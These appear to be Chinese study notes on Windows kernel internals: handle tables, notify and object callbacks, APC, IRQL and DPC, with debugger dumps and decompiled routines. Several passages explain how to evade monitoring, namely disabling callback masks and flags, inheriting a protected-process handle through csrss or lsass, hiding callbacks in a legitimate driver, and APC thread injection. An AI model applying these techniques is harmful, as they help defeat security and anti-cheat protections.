时钟中断函数在 ldt 表中,名字叫:HalpHpetClockInterrupt,位于Hal模块(硬件抽象层);
Hal模块有个特点,它有多套,根据CPU架构和平台,会选择不同的hal进行加载;
HalpHpetClockInterrupt这个函数的调用过程如下:
时钟中断产生会调用这个函数HalpHpetClockInterrupt,这个函数首先会更新系统时间,使用内核模块的函数: KeUpdateSystemTineAssist;
KeUpdateSystemTineAssist(包装体) -> KeUpdateSystemTine(实际更新时间业务) -> KeUpdateRunTine -> 再调回hal模块的:HalRequestSoftwareInterrupt,它会实现一个软件中断(DPC的软中断,是一个模拟中断);
HalRequestSoftwareInterrupt -> KfLowerIrql(用于降低Irql等级) -> HalCheckForSoftwareInterrupt -> HalDispatchSoftwareInterrupt -> 再调用内核模块的 KiDispatchInterrupt(内核通用中断派发,基本上所有中断都会调用它);
KiDispatchInterrupt -> 会通过 KPCR 结构来判断时间片是否到来和用完,以调用 KiQuantumEnd,或者也会调用之前讲过的 KiSwapContext;两条路以实现线程切换;KiQuantumEnd内部依然会调用KiSwapContext;
时钟中断除了线程切换操作还会做以下的事情:
刷新硬件的状态
时间累加
滴答数更新
DPC 回调派发
定时器 回调派发
APC 派发
DR7检测,断点处理 / 双机调试,断点处理
全局句柄表 在EPROCESS结构里面有一个 ObjectTable,是个句柄表,这个表是 私有句柄表;
全局句柄表,只存两种对象,进程句柄和线程句柄,因为就进程和线程分别有 pid 和 tid;
全局句柄表的符号为: PspCidTable,这个符号指向一个地址,这个地址就是全局符号表地址,它和私有句柄表的结构是一样的,都是 _HANDLE_TABLE;
结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 4 : kd> x nt!PspCidTable83f 9ad94 nt!PspCidTable = <no type information>4 : kd> dd 83f 9ad9483f 9ad94 8 da04008 00000000 80000020 00000101 83f 9ada4 80000450 80000024 00000000 00000000 83f 9adb4 00000000 00000000 00000000 00000113 83f 9adc4 00000000 00000000 83f 494be 00000000 83f 9add4 00000000 00000000 00000000 00000008 83f 9ade4 00000000 83f 9ade8 83f 9ade8 00000000 83f 9adf4 00000000 00000000 00000000 00000000 83f 9ae04 00000000 807 c8c28 807 c4c28 00000000 4 : kd> dt _HANDLE_TABLE 8 da04008ntdll!_HANDLE_TABLE +0x000 TableCode : 0x9cca8001 +0x004 QuotaProcess : (null) +0x008 UniqueProcessId : (null) +0x00c HandleLock : _EX_PUSH_LOCK +0x010 HandleTableList : _LIST_ENTRY [ 0x8da04018 - 0x8da04018 ] +0x018 HandleContentionEvent : _EX_PUSH_LOCK +0x01c DebugInfo : (null) +0x020 ExtraInfoPages : 0 n0 +0x024 Flags : 1 +0x024 StrictFIFO : 0 y1 +0x028 FirstFreeHandle : 0xc6c +0x02c LastFreeHandleEntry : 0x9cca7240 _HANDLE_TABLE_ENTRY +0x030 HandleCount : 0x393 +0x034 NextHandleNeedingPool : 0x1000 +0x038 HandleCountHighWatermark : 0x393
TableCode 如果低2位为00,那么这就是一个指针,指向一个页(一张表,数组),表里存放了句柄;
一个句柄项占8字节,高4位放句柄属性,低4位放句柄对象,句柄项结构如下:
1 2 3 4 5 6 7 8 9 10 4 : kd> dt _HANDLE_TABLE_ENTRYntdll!_HANDLE_TABLE_ENTRY +0x000 Object : Ptr32 Void +0x000 ObAttributes : Uint4B +0x000 InfoTable : Ptr32 _HANDLE_TABLE_ENTRY_INFO +0x000 Value : Uint4B +0x004 GrantedAccess : Uint4B +0x004 GrantedAccessIndex : Uint2B +0x006 CreatorBackTraceIndex : Uint2B +0x004 NextFreeTableEntry : Uint4B
所以低2位为00,那么最多能存 4096 / 8 = 512 个句柄;
低2位为01,那么最多能存 (4096 / 4)* 512 = 512K 个句柄;(多一层,类似页表寻址多一层)
以此类推;
如何通过pid查找对应进程句柄呢? pid之前说过是以4对齐的,所以 pid / 4 = 句柄索引;
根据句柄表这个 大数组[句柄索引] ,就得到了句柄项位置;
拿到的句柄对象,需要与上7取反(去掉尾数,去掉低3位) ,才是真实的句柄对象地址,是ETHREAD或EPROCESS结构;(私有句柄表里面就不止这两种类型了)
需要说明的是,HANDLE类型,句柄,都是指这种数,pid就是一个句柄;
如何区分拿到的对象是一个进程还是一个线程呢,就要用到”对象头“字段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 4 : kd> dt _OBJECT_HEADER 96307440 -0x18 nt!_OBJECT_HEADER +0x000 PointerCount : 0 n4 +0x004 HandleCount : 0 n3 +0x004 NextToFree : 0x00000003 Void +0x008 Lock : _EX_PUSH_LOCK +0x00c TypeIndex : 0x8 '' //对象类型索引 +0x00d TraceFlags : 0 ' ' +0x00e InfoMask : 0x8 '' +0x00f Flags : 0x2 ' ' +0x010 ObjectCreateInfo : 0x83f8e3c0 _OBJECT_CREATE_INFORMATION +0x010 QuotaBlockCharged : 0x83f8e3c0 Void +0x014 SecurityDescriptor : 0x9ccae45d Void +0x018 Body : _QUAD
使用对象地址-0x18就是 _OBJECT_HEADER 结构体,并不是TCB和PCB中的+0x000 Header : _DISPATCHER_HEADER字段;
64位系统是-0x30;
其中最重要的字段是对象类型索引,他决定了这个对象是个ETHREAD还是EPROCESS;
要用到一个新的结构:ObTypeIndexTable,对象类型索引表;
是个数组,表项4字节,每个表项的类型是_OBJECT_TYPE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 4 : kd> x nt!ObTypeIndexTable83f 9c760 nt!ObTypeIndexTable = <no type information>4 : kd> dd 83f 9c76083f 9c760 00000000 bad0b0b0 86 a4e660 86 a4e59883f 9c770 86 a4e4d0 86 aefe88 86 aefd48 86 aefc8083f 9c780 86 aefbb8 86 aefaf0 86 aefa28 86 aef35083f 9c790 86b 2d8b8 86b 2d7f0 86b 199c8 86b 1990083f 9c7a0 86b 19838 86 afdf78 86 afdeb0 86 afdde883f 9c7b0 86 afdd20 86 afdc58 86 afdb90 86 afdac883f 9c7c0 86 afda00 86 afd938 86 afd870 86 afd7a883f 9c7d0 86 afd6e0 86 afd340 86b 51ca0 86b 51bd84 : kd> dt _OBJECT_TYPE 86 aefbb8ntdll!_OBJECT_TYPE +0x000 TypeList : _LIST_ENTRY [ 0x86aefbb8 - 0x86aefbb8 ] +0x008 Name : _UNICODE_STRING "Thread" +0x010 DefaultObject : (null) +0x014 Index : 0x8 '' +0x018 TotalNumberOfObjects : 0x362 +0x01c TotalNumberOfHandles : 0x637 +0x020 HighWaterNumberOfObjects : 0x362 +0x024 HighWaterNumberOfHandles : 0x637 +0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x078 TypeLock : _EX_PUSH_LOCK +0x07c Key : 0x65726854 +0x080 CallbackList : _LIST_ENTRY [ 0x86aefc38 - 0x86aefc38 ]
在表项类型中就指明了是线程还是进程;
ObTypeIndexTable结构不是导出的,但是可以在内核模块中搜索它的字符串符号,来找到对应导出函数的引用地方,通过导出函数获取它的地址;
x64补充 第一个变化,在64位下,全局句柄表膨胀了,目录项变成了8字节,句柄表项变成了16字节,高8为属性,低8为对象地址;
第二个变化,主要是win10以后,原来是句柄项的地方被加密了,表项还是占16字节,低8位是加密后的对象地址;
加密内容 算术右移 16 位,得到原本的对象地址;其实也不算加密,我猜设计是,可能后2字节是某种新增的属性,高2字节默认为FFFF,于是省2字节空间放其他的;
私有句柄表 只有进程中才有句柄表的概念,线程中没有,也就是上面说到的 EPROCESS 中的 ObjectTable;
私有句柄表对应全局句柄表的结构不太一样,但很类似;
私有句柄表的利用,主要体现在不越权进行对抗的姿势和工具(R3下),理解结构很有好处;
第一,在私有进程中使用 OpenProcess 打开一个句柄后,得到的句柄也要除4(4对齐)才是 TableCode 的索引值;
第二,在存放对象地址的地方,不再是直接指向对象,而是指向对象头,也就是拿到对象地址后,要加上0x18,才是实际的对象结构体;
第三,三个尾数属性(之前说过,对象拿到要去除低3位):
0号最低位,对于有效句柄来说都是1;
1号位,是继承位(关系到父进程创建子进程的私有句柄表复制),为1,这个句柄项可被复制,否则不可被继承; 这个继承位有个姿势,比如游戏被OB回调保护,但是csrss和lsass这种系统进程是白名单,可以通过注入白名单进程,执行OpenProcess并设置继承位为1; 再CreateProcess我们自己的进程,选择句柄继承;这个时候创建的我们的进程就自带游戏进程句柄,而且是正常权限;
2号位,如果为1,那么CloseHandle关不掉;
第四,权限属性掩码(高位)(PROCESS_ALL_ACCESS宏等的权限掩码)
系统回调 全局回调,它主要的作用是监视,分别是 模块,进程,线程监视,在 sys,dll,进程,线程创建和销毁以及附加,复制时,就会触发对应的回调;
主要就三种回调,线程,进程,模块(它们的实际名称应该叫做通知回调);
这里我们就把(系统回调)定义为全局线程,进程,模块回调;
注册回调的API:
1 2 3 4 5 6 7 8 9 10 11 12 13 PsSetCreateProcessNotifyRoutine ();PsSetCreateProcessNotifyRoutineEx ();PsSetCreateThreadNotifyRoutine ();PsSetCreateThreadNotifyRoutineEx ();PsSetLoadImageNotifyRoutine ();PsSetLoadImageNotifyRoutineEx ();PsRemoveLoadImageNotifyRoutine ();PsRemoveCreateThreadNotifyRoutine ();
进程通过第一个API的参数设置移除或是创建,另外两个分别有创建和移除的API;
在规定的回调参数会给到进程,线程,模块创建时的一些信息,比如进程会给到,哪个pid创建了哪个pid(父子进程的pid都显示,等等信息),如下所示:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 VOID PcreateProcessNotifyRoutineEx ( [_Inout_] PEPROCESS Process, [in] HANDLE ProcessId, [in, out, optional] PPS_CREATE_NOTIFY_INFO CreateInfo ) typedef struct _PS_CREATE_NOTIFY_INFO { SIZE_T Size; union { ULONG Flags; struct { ULONG FileOpenNameAvailable : 1 ; ULONG IsSubsystemProcess : 1 ; ULONG Reserved : 30 ; }; }; HANDLE ParentProcessId; CLIENT_ID CreatingThreadId; struct _FILE_OBJECT *FileObject ; PCUNICODE_STRING ImageFileName; PCUNICODE_STRING CommandLine; NTSTATUS CreationStatus; } PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;
需要强调的是,这些注册的系统回调,是在每次发生事件时,按一定的顺序,挨个执行,参数传递;[_Inout_] ,[in, out, optional],都是会影响到下一个回调函数的,不可信; 谁先注册,谁在前面执行,没有优先级(区别于后面会说到的对象回调);
线程回调只有2个有用信息的参数,一个是创建线程的pid,一个是线程本身的tid;
模块添加是用的更为多的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 VOID PloadImageNotifyRoutine ( [in, optional] PUNICODE_STRING FullImageName, [in] HANDLE ProcessId, [in] PIMAGE_INFO ImageInfo ) typedef struct _IMAGE_INFO { union { ULONG Properties; struct { ULONG ImageAddressingMode : 8 ; ULONG SystemModeImage : 1 ; ULONG ImageMappedToAllPids : 1 ; ULONG ExtendedInfoPresent : 1 ; ULONG MachineTypeMismatch : 1 ; ULONG ImageSignatureLevel : 4 ; ULONG ImageSignatureType : 3 ; ULONG ImagePartialMap : 1 ; ULONG Reserved : 12 ; }; }; PVOID ImageBase; ULONG ImageSelector; SIZE_T ImageSize; ULONG ImageSectionNumber; } IMAGE_INFO, *PIMAGE_INFO;
通过LoadImage可以做很多事情;
逆向分析 PsSetLoadImageNotifyRoutine :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 NTSTATUS __stdcall PsSetLoadImageNotifyRoutine (PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine) { unsigned int i; _EX_CALLBACK_ROUTINE_BLOCK *callback_struct; _DWORD *callBackSlot; i = 0 ; callback_struct = ExAllocateCallBack((int (__stdcall *)(void *, void *, void *))NotifyRoutine, nullptr ); if ( !callback_struct ) return 0xC000009A ; callBackSlot = &PspLoadImageNotifyRoutine; while ( !(unsigned __int8)((_DWORD (__stdcall *)(_DWORD))ExCompareExchangeCallBack)(0 ) ) { i += 4 ; ++callBackSlot; if ( i >= 256 ) { ExFreeCallBack(callback_struct); return 0xC000009A ; } } _InterlockedExchangeAdd(PspLoadImageNotifyRoutineCount, 1u ); if ( (PspNotifyEnableMask & 1 ) == 0 ) _interlockedbittestandset(&PspNotifyEnableMask, 0 ); return 0 ; } struct _EX_CALLBACK_ROUTINE_BLOCK { unsigned int RefCount; int (__stdcall *Function)(void *, void *, void *); void *Param1; };
PspLoadImageNotifyRoutine 是个 _EX_CALLBACK_ROUTINE_BLOCK 类型的指针数组,总共只有64个。每个注册的对应的系统回调都会放到这个数组里,所以每个类型的系统回调最多只有64个,win10,win11也不例外;
一开始会根据回调地址创建一个结构体,数组主要是存结构体,结构体会存引用计数,函数地址,以及参数;
这里的参数是被设置为了0;然后就开始循环,找这个数组中空置的位置(第三个参数为0),然后进行插入(补充细节:插入的就是callback_struct,但是这个地址是8字节对齐的,所以低三位始终为0,实际使用中这三位会存一些东西,真实地址需要从这个数组中取出结构地址并抹除低三位,才是真正的结构体地址);
对 PspLoadImageNotifyRoutine 按x进行交叉引用,能找到除了set和remove以及init,还有一个函数会引用它: PsCallImageNotifyRoutines:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 $FEBD7BAEB778C93D381568F4D0F5E13D *__userpurge PsCallImageNotifyRoutines@<eax>( _DWORD *a1@<eax>, int a2, int a3, int a4) { _KTHREAD *CurrentThread; _DWORD *v5; struct _EX_RUNDOWN_REF *v6 ; void (__stdcall *function)(int , int , int ); $FEBD7BAEB778C93D381568F4D0F5E13D *result; int v9; int v10; int v11; int index; _DWORD *callbackStructPtr; CurrentThread = KeGetCurrentThread(); --CurrentThread->KernelApcDisable; if ( (PspNotifyEnableMask & 1 ) != 0 ) { v5 = a1 + 1 ; a1[1 ] |= 0x400 u; *a1 = 28 ; a1[6 ] = a4; callbackStructPtr = &PspLoadImageNotifyRoutine; index = 64 ; do { v6 = ExReferenceCallBackBlock(callbackStructPtr); if ( v6 ) { function = (void (__stdcall *)(int , int , int ))ExGetCallBackBlockRoutine(a2, a3, v5); function(v9, v10, v11); ExDereferenceCallBackBlock(v6); } ++callbackStructPtr; --index; } while ( index ); } result = ($FEBD7BAEB778C93D381568F4D0F5E13D *)(unsigned __int16)++CurrentThread->KernelApcDisable; if ( !(_WORD)result ) { result = &CurrentThread->___u12; if ( ($FEBD7BAEB778C93D381568F4D0F5E13D *)result->ApcState.ApcListHead[0 ].Flink != result && !CurrentThread->SpecialApcDisable ) { return ($FEBD7BAEB778C93D381568F4D0F5E13D *)KiCheckForKernelApcDelivery(); } } return result; }
它会进行回调函数的执行,按照数组索引遍历执行(所以说谁先注册,谁先执行),v9, v10, v11来自于栈上,存的就是下面三个参数:
1 2 3 [in, optional] PUNICODE_STRING FullImageName, [in] HANDLE ProcessId, [in] PIMAGE_INFO ImageInfo
所以说64个回调调用的参数都是一样的,但是先执行的回调函数可以修改指针指向的结构体的字段,以欺骗后续函数;
第二,需要满足 PspNotifyEnableMask 最低位为1,才会对64个回调展开调用,否则跳过不执行回调;
这个掩码就在 PspLoadImageNotifyRoutine 数组 -0x8 的位置,它们都是内核模块的全局变量;
所以我们可以在进行一些希望不被监控的操作的时候手动置位PspNotifyEnableMask最低位为0;当操作完成后给它恢复就行了;
线程和进程的全局回调利用思路和加载模块回调是一样的;
对象回调 这个就是 OB 回调,请和系统回调做区分,它们是两套完全不同的回调机制;
之前我们提到过一个结构体 _OBJECT_TYPE:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 4 : kd> dt _OBJECT_TYPE 86 aefbb8ntdll!_OBJECT_TYPE +0x000 TypeList : _LIST_ENTRY [ 0x86aefbb8 - 0x86aefbb8 ] +0x008 Name : _UNICODE_STRING "Thread" +0x010 DefaultObject : (null) +0x014 Index : 0x8 '' +0x018 TotalNumberOfObjects : 0x362 +0x01c TotalNumberOfHandles : 0x637 +0x020 HighWaterNumberOfObjects : 0x362 +0x024 HighWaterNumberOfHandles : 0x637 +0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER +0x078 TypeLock : _EX_PUSH_LOCK +0x07c Key : 0x65726854 +0x080 CallbackList : _LIST_ENTRY [ 0x86aefc38 - 0x86aefc38 ]
这个就是对象类型结构体,Windows的对象是很多的,比如进程,线程,事件,等等都能是对象;
比如 EPROCESS, ETHREAD, _DRIVER_OBJECT,都是对象,它们前面都有一个对象头;
这些对象类型可以通过一个数组+索引号找到,之前我们已经说过了;
在一种对象类型中,可以设置对应的回调,这些回调存在 +0x080 CallbackList 链表上,每当对这种对象类型的句柄产生操作时,便会发生对应对象类型的回调函数的执行;
别人做检测时,尤其是力度更大的检测,会遍历这个回调链表,找到是哪个驱动注册的回调,看这个驱动是否签名正常,或是看这个回调地址是否属于本体驱动,以判断这个回调有没有问题;
所以可以注入其他驱动模块(null.sys),在合法的模块里面注册,然后设置跳板,跳转到业务逻辑处理的地方,避免入口检测;
在执行回调函数时,首先会执行 +0x028 TypeInfo : _OBJECT_TYPE_INITIALIZER里的初始化回调,这里面的回调是最先被执行的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 0 : kd> dt _OBJECT_TYPE_INITIALIZER 86 aeebb8+0x28 ntdll!_OBJECT_TYPE_INITIALIZER +0x000 Length : 0x50 +0x002 ObjectTypeFlags : 0x4a 'J' +0x002 CaseInsensitive : 0 y0 +0x002 UnnamedObjectsOnly : 0 y1 +0x002 UseDefaultObject : 0 y0 +0x002 SecurityRequired : 0 y1 +0x002 MaintainHandleCount : 0 y0 +0x002 MaintainTypeList : 0 y0 +0x002 SupportsObjectCallbacks : 0 y1 +0x002 CacheAligned : 0 y0 +0x004 ObjectTypeCode : 4 +0x008 InvalidAttributes : 0xb0 +0x00c GenericMapping : _GENERIC_MAPPING +0x01c ValidAccessMask : 0x1fffff +0x020 RetainAccess : 0x100800 +0x024 PoolType : 0 ( NonPagedPool ) +0x028 DefaultPagedPoolCharge : 0 +0x02c DefaultNonPagedPoolCharge : 0x2e8 +0x030 DumpProcedure : (null) +0x034 OpenProcedure : 0x840b3997 long nt!PspThreadOpen+0 +0x038 CloseProcedure : (null) +0x03c DeleteProcedure : 0x840b5fe8 void nt!PspThreadDelete+0 +0x040 ParseProcedure : (null) +0x044 SecurityProcedure : 0x840b1d90 long nt!SeDefaultObjectMethod+0 +0x048 QueryNameProcedure : (null) +0x04c OkayToCloseProcedure : (null)
其中有个字段很重要:+0x002 SupportsObjectCallbacks,如果是1,代表初始化结束后会去执行回调链表中的一系列回调函数,如果是0,则不会执行,它的效果和 PspNotifyEnableMask,是一样的,可以屏蔽监控;
对象和句柄的关系其实很接近,句柄就相当于一个数组索引,通过这个数组就能找到对应的 对象地址 + 权限掩码;
对象地址一般会对应一个对象头,对象头内部的对象类型字段就对应了ObTypeIndexTable数组的索引值,这个数组就是我们说的专门存对象类型的数组,所以对象会对应到一种对象类型,也就会对应相应的回调函数;
所以操作句柄时,会触发相应的对象回调,以上便是句柄 <-> 对象的关系;
还有一种反调试机制是通过设置 调试对象 类型的 ValidAccessMask 为 0,那么调试对象对应的句柄权限就都没有了;
对应的,对象回调在 windows API 有对应的注册函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 NTSTATUS ObRegisterCallbacks ( [in] POB_CALLBACK_REGISTRATION CallbackRegistration, [out] PVOID *RegistrationHandle ) ;typedef struct _OB_CALLBACK_REGISTRATION { USHORT Version; USHORT OperationRegistrationCount; UNICODE_STRING Altitude; PVOID RegistrationContext; OB_OPERATION_REGISTRATION *OperationRegistration; } OB_CALLBACK_REGISTRATION, *POB_CALLBACK_REGISTRATION; typedef struct _OB_OPERATION_REGISTRATION { POBJECT_TYPE *ObjectType; OB_OPERATION Operations; POB_PRE_OPERATION_CALLBACK PreOperation; POB_POST_OPERATION_CALLBACK PostOperation; } OB_OPERATION_REGISTRATION, *POB_OPERATION_REGISTRATION; OB_PREOP_CALLBACK_STATUS PobPreOperationCallback ( [in] PVOID RegistrationContext, [in] POB_PRE_OPERATION_INFORMATION OperationInformation ) ;VOID PobPostOperationCallback ( [in] PVOID RegistrationContext, [in] POB_POST_OPERATION_INFORMATION OperationInformation ) ;typedef struct _OB_POST_OPERATION_INFORMATION { OB_OPERATION Operation; union { ULONG Flags; struct { ULONG KernelHandle : 1 ; ULONG Reserved : 31 ; }; }; PVOID Object; POBJECT_TYPE ObjectType; PVOID CallContext; NTSTATUS ReturnStatus; POB_POST_OPERATION_PARAMETERS Parameters; } OB_POST_OPERATION_INFORMATION, *POB_POST_OPERATION_INFORMATION; typedef union _OB_PRE_OPERATION_PARAMETERS { OB_PRE_CREATE_HANDLE_INFORMATION CreateHandleInformation; OB_PRE_DUPLICATE_HANDLE_INFORMATION DuplicateHandleInformation; } OB_PRE_OPERATION_PARAMETERS, *POB_PRE_OPERATION_PARAMETERS; typedef union _OB_POST_OPERATION_PARAMETERS { OB_POST_CREATE_HANDLE_INFORMATION CreateHandleInformation; OB_POST_DUPLICATE_HANDLE_INFORMATION DuplicateHandleInformation; } OB_POST_OPERATION_PARAMETERS, *POB_POST_OPERATION_PARAMETERS;
在回调函数内,一般会判断是谁打开/复制了谁:
1 2 3 4 IoGetCurrentProcess(); OperationInformation->Object;
以方便过滤操作;
从对象类型的字段: +0x080 CallbackList : _LIST_ENTRY [ 0x86aefc38 - 0x86aefc38 ]中取出来的链表节点结构不是上面导出可见的任何一个结构,而是如下的一个结构(字段基本都类似,结构重组了):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 00000000 _OB_HANDLE struc ; (sizeof =0x34 )00000000 Version dw ?00000002 OperationRegistrationCount dw ?00000004 RegistrationContext dd ?00000008 Altitude UNICODE_STRING ? 00000010 list LIST_ENTRY ? 00000018 Operations dd ?0000001 C flags dd ?00000020 self dd ? 00000024 OBJECT_TYPE dd ?00000028 PreOperation dd ?0000002 C PostOperation dd ?00000030 unknow dd ? 00000034 OB_HANDLE ends
插入时,会按照海拔进行排序;具体字段,不同版本可能有差异,通过 ObRegisterCallbacks确定;
APC 是个和线程相关的机制,全称是异步过程调用 ,APC实际上就是一个函数;
APC主要的作用是用来做异步通知的,它被动态地插入一个线程的APC队列,在某个时刻异步地调用一次;它可被动态地从队列中卸载;
没有APC机制,有些操作就会很伤脑筋,比如线程回收,线程IO结束等待等等;所以APC机制是必须的,关闭这个机制,Windows系统过一会儿会死掉;
了解它之前先了解windows自带的关于 APC 相关的 API:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 VOID KeInitializeApc ( [in] PKAPC Apc, [in] PKTHREAD Thread, [in] KAPC_ENVIRONMENT TargetEnvironment, [in] PKKERNEL_ROUTINE KernelRoutine, [in] PKRUNDOWN_ROUTINE RundownRoutine, [in] PKNORMAL_ROUTINE NormalRoutine, [in] KPROCESSOR_MODE Mode, [in] PVOID Context ) ;BOOLEAN KeInsertQueueApc ( __inout PRKAPC Apc, __in_opt PVOID SystemArgument1, __in_opt PVOID SystemArgument2, __in KPRIORITY Increment ) ;typedef enum _KAPC_ENVIRONMENT { OriginalApcEnvironment, AttachedApcEnvironment, CurrentApcEnvironment, InsertApcEnvironment } KAPC_ENVIRONMENT, *PKAPC_ENVIRONMENT; typedef VOID (*PKKERNEL_ROUTINE) ( IN struct _KAPC *Apc, IN OUT PKNORMAL_ROUTINE *NormalRoutine, IN OUT PVOID *NormalContext, IN OUT PVOID *SystemArgument1, IN OUT PVOID *SystemArgument2 ) ;
KAPC结构需要我们自己去释放,系统不会管;
APC可以实现给一个线程注入一个函数让它执行一次;同时可以观测到,回调结构的参数是二级指针,这意味可以被篡改;
APC队列结构我们之前就见过: _KAPC_STATE:
1 2 3 4 5 6 7 kd> dt _KAPC_STATE nt!_KAPC_STATE +0x000 ApcListHead : [2 ] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar
这个 _KAPC_STATE里的链表串起来的结构就是 KAPC;
KAPC主要的字段就是那些注册字段,3个函数,参数,以及环境,APC模式;
线程 KTHREAD 中的字段:
+0x168 ApcStatePointer 是一个关于 _KAPC_STATE 结构的数组,有两项;
有一个是指向 +0x040 ApcState,这个就是线程关联的APC队列;
还有一个指向 +0x170 SavedApcState结构;
两个结构的关系是,一个是当前的APC队列,一个是备用的APC队列;它会在线程挂靠时,保存之前的APC队列;
那么多次轮调用 KeStackAttachProcess 多次挂靠时,再上一轮的APC队列就会被覆盖掉,所以 KeStackAttachProcess 有个参数也是专门保存挂靠前 APC 队列的;
其他线程相关的APC字段在线程 KTHREAD 调度体部分已给出解释;
IRQL机制 微软模拟去适配的一套硬件中断优先级机制;
IRQL是KPCR的一个字段,是核相关信息;
先说中断,中断一般给两个参数,一个就是中断优先级,一个是中断向量号(也就是GDT,LDT表的索引,本质就是改RIP,EIP到一个服务函数);
中断由LAPIC处理(硬件层面,和Windows无关),这个系统会轮询等待的中断并处理;中断会被放到队列中排着(优先级高的排前面),然后看当前核的IRQL,如果中断请求等级低于或等于当前IRQL,那么被屏蔽,核自然不会发生rip,eip的跳转;否则立即(IRQL等级低于当前中断等级)跳转对应中断服务;
驱动编程能看到的,能用到的也就3个等级,0,消极态等级;1,APC等级;2,DPC等级;在r3下,IRQL等级永远为0;
之前说过,APC会在某个时刻被调用,实际上,触发APC调用的函数就如下:
1 2 3 4 5 VOID NTAPI KiDeliverApc ( _In_ KPROCESSOR_MODE DeliveryMode, _In_ PKEXCEPTION_FRAME ExceptionFrame, _In_ PKTRAP_FRAME TrapFrame ) ;
而这个函数和 KiSwapContext 很类似,也是通过主动或者中断请求进行调用;
(KiSwapContext 通过主动或者时钟中断进行调用,它的默认执行IRQL等级是2,2是最高等级,也是线程调度的等级;实际上时钟中断的IRQL等级远大于2,必定触发,而时钟中断服务会先判断时间片用完没,用完了就产生一个DPC函数,让DPC函数去进行KiSwapContext的调用,而DPC等级就是2)
缺页处理也是DPC等级2,DPC操作的内存需要在非分页池,否则会蓝屏;
而请求它 KiDeliverApc 之前,肯定都会先把 IRQL 等级设置为2,这是为了防止被其他DPC中断请求给打断(包括线程调度);
所以,在Windows中看到有关于 IRQL 的地方,一般都要留心是否当前函数或者调用函数和中断请求相关;
在KiDeliverApc内部,会获取当前线程结构,借而读取APC链表,先处理内核APC,再处理用户APC;
而内核APC中,会顺序调用两个APC回调,一个是kernelRoutine,下一个是normalRoutine,前者会在1等级IRQL执行,后者会在0等级IRQL执行 ,执行完恢复等级;当处理当前APC后,这个APC结构会被从链表中拆掉,意思是插入APC只执行一次;
用户态APC 首先要判断是否是UserMode,其次会判断CurrentThread->ApcState.UserApcPending是否为1 ,才会执行;
在用户态处理中,首先也会在1等级先执行kernelRoutine,然后就不一样了;
它会判断 normalRoutine 是否为空,如果为空,调用 KeTestAlertThread(UserMode)然后返回;不为空,则把如下参数都入栈:
1 2 3 4 5 6 ExceptionFrame TrapFrame SystemArgument1 SystemArgument2 NormalContext NormalRoutine
然后调用 KiInitializeUserApc(用户态APC初始化),之后返回;
KiInitializeUserApc内部会先把trapFrame给r3结构 _CONTEXT 进行打包,并保存trapFrame;
然后修改 trapFrame 的上下文信息,其中最主要的操作:
让IP寄存器指向 ds:_KeUserApcDispatcher;
给r3的栈提升空间,按如下顺序排放内容:SP -> NormalRoutine -> NormalContext -> SystemArgument1 -> SystemArgument2 -> CONTEXT -> 空8字节(两个指针容量) -> 原来的SP
然后就返回了;
在系统调用返回的地方,实际上也会调用 KiDeliverApc,最后就会返回到r3的ntdll中的 _KiUserApcDispatcher 函数;
在 _KiUserApcDispatcher 中,会先让原本空8字节的地方放入一些内容,让r3的栈构成如下形态:
CONTEXT -> TEB异常链表 -> KiUserApcExceptionHandle -> 原来的SP (这步操作主要是挂SEH异常操作);
然后就执行 normalRoutine 了,最后通过 _ZwContinue 返回内核态,这个函数里面就会恢复原本保存的trapFrame;
所以 normalRoutine 还是 以IRQL0等级执行的;
而且用户态APC是可以在某个线程的用户态环境下执行,相当于一种线程注入(目标进程无新线程创建,相较于远程线程注入);
可以通过NormalRoutine去调用LoadLibrary;
但是传递给NormalRoutine位置的函数一定得是那个线程R3下可访问的地址,而不能是内核地址;
DPC 延迟过程调用,定时器也是一种DPC;
KDPC的结构,类似于KAPC,也需要通过堆保存:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 typedef struct _KDPC { union { ULONG TargetInfoAsUlong; struct { UCHAR Type; UCHAR Importance; volatile USHORT Number; }; }; SINGLE_LIST_ENTRY DpcListEntry; KAFFINITY ProcessorHistory; PKDEFERRED_ROUTINE DeferredRoutine; PVOID DeferredContext; PVOID SystemArgument1; PVOID SystemArgument2; volatile PVOID DpcData; } KDPC, *PKDPC, *RESTRICTED_POINTER PRKDPC;
使用也可以用API:
1 2 KeInitializeDpc(KDPC结构,DPC回调,DPC回调参数); KeInsertQueueDpc(KDPC结构,参数1 ,参数2 );
要延时,就需要设置定时器:
1 2 KeInitializeTimer(KTimer结构); KeSetTimerEx(KTimer结构,起始延迟格式时间,间隔重复执行时间,KDPC结构);
DPC的调用时机就很固定,只在时钟中断里被调用;
DPC是核相关,和线程无关,所以栈用的是独立的DPC栈,不用线程栈;
针对性给某一个核设置DPC,而其他核不执行:
